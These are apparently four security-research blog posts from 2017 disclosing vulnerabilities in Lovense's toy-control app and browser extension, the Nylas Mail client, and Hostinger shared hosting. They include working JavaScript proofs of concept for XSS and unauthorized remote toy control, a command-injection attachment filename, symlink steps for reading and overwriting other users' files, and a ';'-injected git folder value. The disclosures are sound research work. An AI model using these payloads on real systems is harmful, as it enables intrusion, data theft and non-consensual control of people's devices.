jueves, 6 de julio de 2017

Understanding (and breaking) the Internet of vibrating things: Lovense's toys

Some of the vulnerabilities disclosed have not been fixed. I follow the 90 days deadline that Google Project Zero use in their responsible disclosure policy (https://googleprojectzero.blogspot.com.es/2015/02/feedback-and-data-driven-updates-to.html).

Report Timeline


  • 2017-03-31 - I sent a report of the vulnerabilities to security@lovense.com
  • 2017-04-01 - Received a response telling me that they are looking into it.
  • 2017-04-06 - Received an email telling me the fixes they are going to include in order to fix the issues. They were trying to fix all them in 2 or 3 weeks.
  • 2017-04-06 - I replied all right.
  • 2017-05-22 - I sent an email asking for updates about the fixes and telling them that 49 was passed since the first report and I was following the 90 days deadline.
  • 2017-05-23 - I received a response telling me that some issues have already been fixed, but the not fixed issues will be automatically fixed in their new app. They were developing a new app, but if they are not able to release it in time, they will update the actual app.
  • 2017-06-29 - 90 days deadline arrived.
  • 2017-07-06 - 97 days since first report. Disclosure.



First of all, let's explain how Lovense toys work. The toy is controlled by using a mobile app (available for Android and iOS) called Body Chat. The mobile app is an Apache Cordova app (https://cordova.apache.org), so it is build in HTML and JavaScript (interesting to look for XSS vulnerabilities). The app controls the toy over bluetooth.
This app also allows to chat with other users, and give the possibility to remote control the toy to the chat partner. The chat functionability works by using a jabber-based protocol over Websockets.
This toy is very used in webcam's model's websites (such as Chaturbate, MyFreeCams..), because it provides a browser extension (https://es.lovense.com/cam-model/guide/phone#chaturbate) that use chat's messages in the website to detect if someone have sent any tokens/tips (virtual money in these websites) in order to make the toy vibrate. But, how the communication between the Chrome Extension and the Body Chat app works?? Let's explain it!
The communication is simple, the app make a heartbead request every few seconds. The request is something like:

GET /chrome/setLocalToy HTTP/1.1
Host: apps.lovense.com
Content-Type: application/json; charset=UTF-8
Origin: file://
Connection: keep-alive
Accept-Language: es-es
Accept-Encoding: gzip, deflate
Content-Length: 116

{"email":"user@mail.com","address":"192.168.1.129","port":"3000","portHttp":"3001","toys":{}}

As we can see, the app is sending two open ports (random every time the app is started) on the device, the local network IP address, a list of connected toys and the user email. Do you see something bad here? no? well, we will speak about it later..
Then, the Chrome Extension just make a request to receive the available toys, the IP address and the opened ports. So, the computer running the Chrome extension and the mobile with the app must be on the same local network in other to work. The Chrome extension will try to connect to the mobile in one of the opened port. In our example, the 3000's port have a WebSocket server listening on it, so basically the extension connect to the Websockets server and send commands in order to make the vibrator vibrate when neccesary.
The app also allows users to generate and share a link to provide remote control of the toy to other users. This is an important feature because two of the most dangerous vulnerabilities are based on it.



Now, we have an idea about how the app works, let's see how we can break it :)

Vulnerability 1. XSS on Body Chat app.

An user can add JavaScript code on his username, profile photo and the body of a chat message. To do that, he only need to send the same request that the app does, but adding the following in the username, the profile photo 'type' field or the body of a chat message:

<script>navigator.notification.confirm('This is a XSS!', null, 'XSS', ['Ok']);</script>

It bypasses the HTML tags filter by using '<' instead of '<'.
Proof of concept in JavaScript:

function doSomething(){
    var xssExploit = "navigator.notification.confirm('This is a XSS!', null, 'XSS', ['Ok']);";
    var victim = "lovensetest_7777!!!yopmail.com@im.lovense.com";
    // start communication
    socket.send('<?xml version="1.0"?><stream:stream xmlns:stream="http://etherx.jabber.org/streams" version="1.0" xmlns="jabber:client" to="im.lovense.com" xml:lang="en" xmlns:xml="http://www.w3.org/XML/1998/namespace" >');
    socket.send("<iq type='get' xmlns='jabber:client' id='8579:sendIQ'><query xmlns='jabber:iq:roster'/></iq>");
    socket.send("<presence xmlns='jabber:client'><show>chat</show><status>online</status><setting>%7B%22sound%22%3Atrue%2C%22status%22%3A%22online%22%2C%22videoRecord%22%3Afalse%7D</setting></presence>")
    // change username/photo info to include XSS
    socket.send("<iq type='set' from='lovensetest_2222!!!yopmail.com@im.lovense.com' xmlns='jabber:client' id='8580:sendIQ'><vCard xmlns='vcard-temp'><FN>lovensetest_2222&#0000060;script>"+ xssExploit +"&#0000060;/script></FN><SEX>m</SEX><PHOTO><BINVAL>[BASE64_ENCODED_IMAGE]</BINVAL><TYPE>image/jpeg'>&#0000060;script>"+ xssExploit +"&#0000060;/script></TYPE></PHOTO></vCard></iq>")
    // send friends request
    //socket.send("<presence to='"+ victim +"' type='subscribe' name='null' text='undefined' xmlns='jabber:client'/>")
    // send message to trigger the XSS, and include XSS on message body
    socket.send("<message to='"+ victim +"' type='chat' xmlns='jabber:client'><body>&#0000060;script>"+ xssExploit +"&#0000060;/script></body><active xmlns='http://jabber.org/protocol/chatstates'/></message>")
}

function exploit(){
    socket = new WebSocket("wss://im1.lovense.com/s?text=[TOKEN_RELATED_TO_THE_USER]");

    socket.onopen = function () {
        doSomething();
    };

    // Log errors
    socket.onerror = function (err) {
        console.log('WebSocket Error ');
        console.log(err)
    };

    // Log messages from the server
    socket.onmessage = function (e) {
        console.log('Server: ' + e.data);
    };
}

The 'text' param in the websocket URL is related to the user. Other information sent in the websocket communitation is also related to the user.
The XSS can be triggered without being a friend of the victim. As we can see in the PoC, the attacker can send a chat message and the victim's app will receive it and parse it, so the code will be executed and the attacker does not have to be a friend neither send a friend request.
The JavaScript code in the 'type' field of the image will be triggered in the chat window. Maybe it could be triggered in other sites, so I think the best way to fix these XSS is to filter the received input from the user before save it in the DB.
This vulnerability gives to the attacker full control of the app, for example, to control the toy without permission. The attacker just need the email of the victim.


Vulnerability 2. DoS to the Lovense Extension for Chrome.

As we introduced before, the Body chat app sends a heartbeath request every few seconds.
GET /chrome/setLocalToy HTTP/1.1
Host: apps.lovense.com
Content-Type: application/json; charset=UTF-8
Origin: file://
Connection: keep-alive
Accept-Language: es-es
Accept-Encoding: gzip, deflate
Content-Length: 116

{"email":"victim@mail.com","address":"192.168.1.129","port":"3000","portHttp":"3000","toys":{}}

This request is used by the Chrome extension (or Lovense Browser), to connect to the app in a local network and send the proper commands to make the toy vibrate.
An attacker, knowing the email of a cam model, is able to do a denial of service attack by sending invalid IP directions.
Also, it opens ports on the smartphone, so if the attacker is in the same network he can connect to the opened ports and send commands to make vibrate the toy.

Vulnerability 3. Create a link to control the toy.

An attacker, knowing the email of a cam model, can generate a link to control the toy by using the following GET request:

https://www.lovense.com/app/cam/createSession?customerid=u57a1I&tid=&expires=0&allow2way=false&showaffiliate=true&modelEmail=victim@email.com&mode=&countTimeImmediately=false

As we can see, the request only include the victim's email to generate the link, the rest of the information sent is not used to verify the request, it is just to set up the link.
The 'customerid' field is just a random alphanumeric string whose size must be 6.

Vulnerability 4. Remote User Email Enumeration.

To add a friend on Body Chat app, it sends a request to verify if an user with the specified email exists. If it exists, then it will send the friend request. The request to verify the email address is:

POST /ajaxCheckEmailRegisted HTTP/1.1
Host: apps.lovense.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: file://
Connection: keep-alive
Accept: */*
Accept-Language: es-es
Accept-Encoding: gzip, deflate
Content-Length: 47

email=user%40mail.com&type=addFriend&model=true

The 'model' field is used to check if is model or not, so it could help the attacker to make the search of an specific account easier.
They fixed this issue by limiting the number of emails you can check in a hour, but with the update they introduced the possibility of search users by username... So, now you can get the email address of a webcam model if she use the same user name ¯\_(ツ)_/¯. The API returns the data encrypted, but you can get the hardcoded keys and IVs from the apk and decrypt the returned email.

Vulnerability 5. Remote Control using Chat Messages.

The Remote control by shared links works by receiving over the jabber-based protocol over WebSockets a chat message from: system!!!hytto.com@im.lovense.com/robot
with the following content:

<message to="victim!!!domain.com@im.lovense.com" id="1VwJL-9819050" type="chat" from="system!!!hytto.com@im.lovense.com/robot"><body>"{\"symbol\":\"hytto_robot_2013\",\"type\":\"order\",\"content\":\"Vibrate:0;\"}"</body><thread>[REDACTED]</thread></message>

Any user can replicate the message to make vibrate the vibrator. The following JavaScript code is a Proof of concept which connects to the WebSocket server and sends the chat message to the victim to make the toy vibrate.

function doSomething(){
    var victim = "victim!!!domain@im.lovense.com";
    var vibrationLevel = "5";
    // start communication
    socket.send('<?xml version="1.0"?><stream:stream xmlns:stream="http://etherx.jabber.org/streams" version="1.0" xmlns="jabber:client" to="im.lovense.com" xml:lang="en" xmlns:xml="http://www.w3.org/XML/1998/namespace" >');
    socket.send("<iq type='get' xmlns='jabber:client' id='8579:sendIQ'><query xmlns='jabber:iq:roster'/></iq>");
    socket.send("<presence xmlns='jabber:client'><show>chat</show><status>online</status><setting>%7B%22sound%22%3Atrue%2C%22status%22%3A%22online%22%2C%22videoRecord%22%3Afalse%7D</setting></presence>")

    // send message to vibrate
    socket.send('<message to="'+ victim +'" type="chat" xmlns="jabber:client"><body>"{\\"symbol\\":\\"hytto_robot_2013\\",\\"type\\":\\"order\\",\\"content\\":\\"Vibrate:'+ vibrationLevel +';\\"}"</body><active xmlns="http://jabber.org/protocol/chatstates"/></message>')
}

function exploit(){
    socket = new WebSocket("wss://im1.lovense.com/s?text=[RELATED_TO_THE_USER]");

    socket.onopen = function () {
        doSomething();
    };

    // Log errors
    socket.onerror = function (err) {
        console.log('WebSocket Error ');
        console.log(err)
    };

    // Log messages from the server
    socket.onmessage = function (e) {
        console.log('Server: ' + e.data);
    };
}

The app should check if the message have been sent by system!!!hytto.com@im.lovense.com/robot or check if the user who sent the message is allowed to send this type of message before make the toy vibrate.
But the RobotController in the app is not only able to control the vibrator, it also have been coded to receive other type of orders. One of these orders allows to execute JavaScript code in the app.





As you can see in the previous images, it is prepared to receive a message with the "type" field equal to "js" in order to execute the JavaScript code provided in the field "content" using "eval". Example:
<message to="victim" type="chat" xmlns="jabber:client"><body>"{\\"symbol\\":\\"hytto_robot_2013\\",\\"type\\":\\"js\\",\\"content\\":\\"alert(1);\\"}"</body><active xmlns="http://jabber.org/protocol/chatstates"/></message>

Bug 1. Bad tips detection on Chrome Extension.

I do not consider it a security issue, but a bug which should be fixed.
To detect if an user have given tokens to a model, the Chrome extension uses the chat events in the website. In certain websites, you do not check correctly if is really a tip or if it is a user message in the chat, so an user can send a chat message with a specific structure in order to trigger the extension and make the toy vibrate. The affected websites are:
  • MyFreeCams
    • The user just have to send the message: Received a 50 tokens tip from username!
  • CamSoda
    • The user just have to send the message: username tipped 15 tokens

Protect yourself

If you are a Body Chat user (webcam model), you can protect yourself by following the following steps:

  1. Do not publish the email address you use in your Lovense account. If you published it, create a new account with another email.
  2. Do not use the same username that you use in other services.


Conclusions


It has been very interesting to learn how this devices work, how the Chrome extension and the app work together over Websockets. Once we had an idea about how it works, it was interesting to detect the vulnerabilities.
I think we can extract an important conclusion about this research, internet of thing (in this case sex toys) have too much to do in order to improve their security measures. I am very happy to help a little bit and learn more about information security, which is what I really love to do.


Behind the scenes

I have explained how the communication between the Body Chat app and the Chrome Extension works in order to make the toy work. I have also explained the vulnerabilities I found during my research, but maybe you also want to know how I found them, what tools I used. Well, in this section I will try to give you the names of the tools I used and what I did to understand how the app/extension works. :)

First of all, I downloaded the Body chat app and started to see how it works. I just used the app as a normal user (I created a few accounts, changed profile photo and user info, sent chat messages between my test's accounts..). While I did all this, I had Burp Proxy (https://portswigger.net/burp/) configured on my phone in order to see what HTTP requests the app made.
Since I did not have a toy, I did not have anything interesting to test, so I started to see the Chrome Extension. I downloaded it and extracted the ZIP file (https://es.lovense.com/cam-model/guide/add-extension-manually#noheader). Then, I started to see the source code of the extension. It was obfuscated, so I used http://jsbeautifier.org/ in order to make the code a little more readable. Then, I had to try to understand the code, renaming variables, etc. By doing it I found vulnerability 3, I also understood better how the communication between the app and the extension worked.
Then, I downloaded the APK of the app and used apktool (https://ibotpeaches.github.io/Apktool/) to decompile the app and see how it works. I realized that the app was an Apache Cordova app, so I decided to see if a was able to get an XSS. I tried changing username, photo info, chat messages, etc. In order to do it, I just did a PoC code in Javascript by seeing the protocol of the Websockets requests. It was not difficult :P


More Info

I stared this research because I saw this DEFCON 24 conference about sex toys, and I thought it could be interesting to learn about how they works.
https://www.youtube.com/watch?v=v1d0Xa2njVg

I hope you liked this blog post! See you in the next post!

miércoles, 24 de mayo de 2017

Nylas Mail Command Injection on macOS


Hello!

Today I am going to talk about a vulnerability I found on Nylas Mail (https://nylas.com/nylas-mail/), an open source mail client.

The vulnerability allows to any malicious user to run any OS command in the victim's computer by sending a special file in the attachments. The name of the attached file should be something like:
$(ls).

This vulnerability can be found in the source code in the following line: https://github.com/nylas/nylas-mail/blob/8499eb51b3bf07096a37a368b37074de909d1a54/packages/client-app/src/flux/stores/file-download-store.es6#L327 , and as you can see, is related to the thumbails preview feature in macOS. Nylas downloads the attachment and use 'qlmanage' to create a preview of the file.

The problem is present in the "escapedPath" variable. As you can see, it comes from:

const filePath = this.pathForFile(file) // (https://github.com/nylas/nylas-mail/blob/8499eb51b3bf07096a37a368b37074de909d1a54/packages/client-app/src/flux/stores/file-download-store.es6#L311)

The "pathForFile" function uses the filename by using the function "safeDisplayName" (https://github.com/nylas/nylas-mail/blob/8499eb51b3bf07096a37a368b37074de909d1a54/packages/client-app/src/flux/models/file.es6#L73), which is not safe because it doesn’t escape correctly the filename in order to avoid shell command injection.

The filename is very limited in order to exploit the vulnerability, so we can use multiple attachments in order to create a full exploit for this vulnerability. To do that, we send two files:

File 1. Called pwn.pdf. It is used to contain the code/commands we want to execute because we cannot use the file name in order to execute any code (it is just a shell script). In the PoC video, this file contains the following content (just to open the calculator):
open /Applications/Calculator.app/

File 2. This file exploits the vulnerability and executes pwn.pdf. The file name used is:
z$(sleep 5;for f in $(find $HOME$PWD.nylas-mail -name pwn.pdf); do sh $f; done).pdf

With this name, we wait five seconds to ensure that pwn.pdf is downloaded, and then we try to find the file in order to execute it, because each attachment is downloaded in ~/.nylas-mail/[random_folder_name]/attachment_name. Since we cannot use "/" in our filename, we use the $PWN environment var which should be "/". If it isn’t we could use “.” instead of $HOME$PWD.nylas-mail. The execution is much more slow, but it will be finally executed. If we use “.”, the filename should be:
z$(sleep 5;for f in $(find . -name pwn.pdf); do sh $f; done)

The PoC video:





This vulnerability has been reported and fixed on version 2.0.32, which was released a few weeks ago.

I hope you liked this blog post!
See you in the next post, which will be about a few vulnerabilities I discovered in some IoT devices and their remote control apps :P

martes, 28 de febrero de 2017

Having fun with symlinks in Hostinger

Hello!!

Since my last blog post I have been looking for new vulnerabilities in Hostinger in my spare time (I have not had too much :P).

In this blog post I will speak about two vulnerabilities I found in Hostinger. Both are exploited by using symbolic links.
As you know, symbolic links (symlinks) are files which points to another files, I mean, you can create a symbolic link called “hello” which points to “/etc/passwd”. So, when you try to write in “hello” you are writing to “/etc/passwd”.

In order to create a symlink in the server I used the “Import Site” feature. It allows to the user to upload a Zip file and it automatically decompress the file in “public_html” directory. I created a symlink in my computer using the command: ln -s /path/to/file symlinkname
And then, I added the symlink to a Zip file using: zip -y data.zip symlinkname.

The first vulnerability is related to a bad configuration in the server. By using symlinks we are able to read other files in the server, outside of our user home directory (remember that hostinger offers shared hosting plans; multiple users share the same server but using different Linux users with different permissions). We were able to create a symlink to “/“ and use it over FTP in order to browse the server files. One of the most important directories is “/backup”, which stores all the backup files in the server (other clients backups).
I tried to browse “/backup” over FTP, but my user did not have the permissions to do that :)
But, I created the symlink on the “public_html” directory, so I was able to browse the filesystem by using a web browser. Using a web browser I was able to read files that I did not have permission by using FTP, and “/bakcup” and all their files was one of the affected directories I was able to read if I used the web browser. It seems that the Apache user had privileges to read those files.


I reported this issue and Hostinger solved it. They also rewarded me with a bounty :)

After that, I thought that maybe there was a vulnerability which could allow me to write files I did not have permissions to write (like /etc/passwd or similar).

I used the PHP configuration file “/opt/php.conf.d/USER.ini”, where “USER” is the name of my user in the Linux server. In this configuration file, PHP functions such as “system”, “exec” or “shell_exec” were disabled for security reasons. My objective was to find a way to edit that file and enable these functions. To do that, I tried different tools available on the client area. But only one of them worked fine.

One of the functions allows to the user to set a password for a directory in the website. It is done by creating/writing a “.htpasswd” file in that folder and writing the password selected by the user. I was able to write any file in the server by using this feature.



In order to exploit it to write any file in the server, firstly, I created a symlink to the file I wanted to overwrite. The name of the symlink should be “.htpasswd”. And then, as you are thinking, you have to set a password for the directory by using the “Password Protect dirs” feature. This feature seems to execute as root, so it will write in the file pointed by the symlink without problems. After this tool writes on the file, it set proper permissions for the file, so the original file will be readable and writable by our user after that. 
We only have to access by FTP or create a PHP script in order to write whatever we want to the file. 


I reported this vulnerability and they rewarded me with a bounty :)


If you want to read more about vulnerabilities on shared hosting servers based on symlinks, you can read this blog post written by @alvaroh5 in fwhibbit: https://www.fwhibbit.es/symlink-hacking-shared-hosting 


sábado, 11 de febrero de 2017

Command Injection Vulnerability in Hostinger


Hello!

This is my first blog post in English, and probably next blog posts will be written in English too :)

Today I am going to speak about a vulnerability I recently found in Hostinger. As the title says, I found a Command Injection vulneravility in Hostinger. This kind of vulnerabilities allow an attacker to execute remote OS commands on the machine.

I realized that Hostinger has a GIT repository feature which allows you clone a GIT repo and deploy your website using that repo. And yes, here we find the vulnerability. As you should know, you can clone a repository using the following command:

git clone http://domain/path/to/repo folder

Their feature uses this command in order to clone the repo, they allow you to provide 3 elements:

- Repo URL
- Repo branch to be cloned
- folder in which the repo will be cloned

An attacker was able to use the "folder" input to inject OS commands. By using ";" we were able to close the "git clone" command and inject other commands to be executed. In the following picture you can see the UI of the feature in the Hostinger CPanel, which will break the "git clone" command to finally execute "wget".



I used "wget" to see if the command was being executed by receiving the GET request in http://requestb.in/. Then I realized that you can see a log output of the deployment and you can see the output of the command execution on it (see picture 2).



As you can see in the picture, we have a command execution with root permissions... No need to use any other exploit to obtain root permissions. An attacker have all he need in order to use Hostinger server, for example to do DDoS attacks. Or maybe to delete all the data of other clients in the same server (remember that Hostinger is a shared web hosting service ;))

The vulnerability was reported to Hostinger and fixed in less than 48 hours (good job).
Anyway, I have to say that I did not received any response to my report, so once I realized that the vulnerability was fixed, I wrote another email to ask if the vulnerability was finally fixed and if my vulnerability was elegible for a reward (supposedly they have a bug bounty reward program: https://www.hostinger.es/politica-divulgacion-responsable).

Finally I received a response, they appreciate my help but they said "after analyzing the impact of it and we confirmed that a bonus cannot be provided this time."

So they analyzed the impact of the vulnerability and is not elegible for a reward, OK. I understand that they are the ones who must decide if a vulnerability is or not elegible for a reward, and I accept their decision. But if a vulnerability which allows a malicious user take total control of their servers with root permissions to do whatever he want with the server and the clients data is not elegible for a reward, I don’t know what kind of vulnerability could be more dangerous in order to be elegible for a reward.

If you have reported some vulnerability to Hostinger, tell us your experience on the comments!

I hope you like this blog post! :)
I will try to write more frequently here, because I have not written a blog post since September 2016 :S

You can also follow me on Twitter: http://twitter.com/alberto__segura


UPDATE (13-02-2017):

Today the Customer Success manager at Hostinger has written an email saying he has reviewed my case. He has explained why they did not provide a reward for the bug. The git command was running in a Docker container which is created in order to do the deploy and destroyed after that. Even so, they have finally rewarded me with a bounty because they had to fix other issue to prevent additional errors.

Hostinger, thank you very much for the reward! :)

And thanks to all who have read and shared this blog post!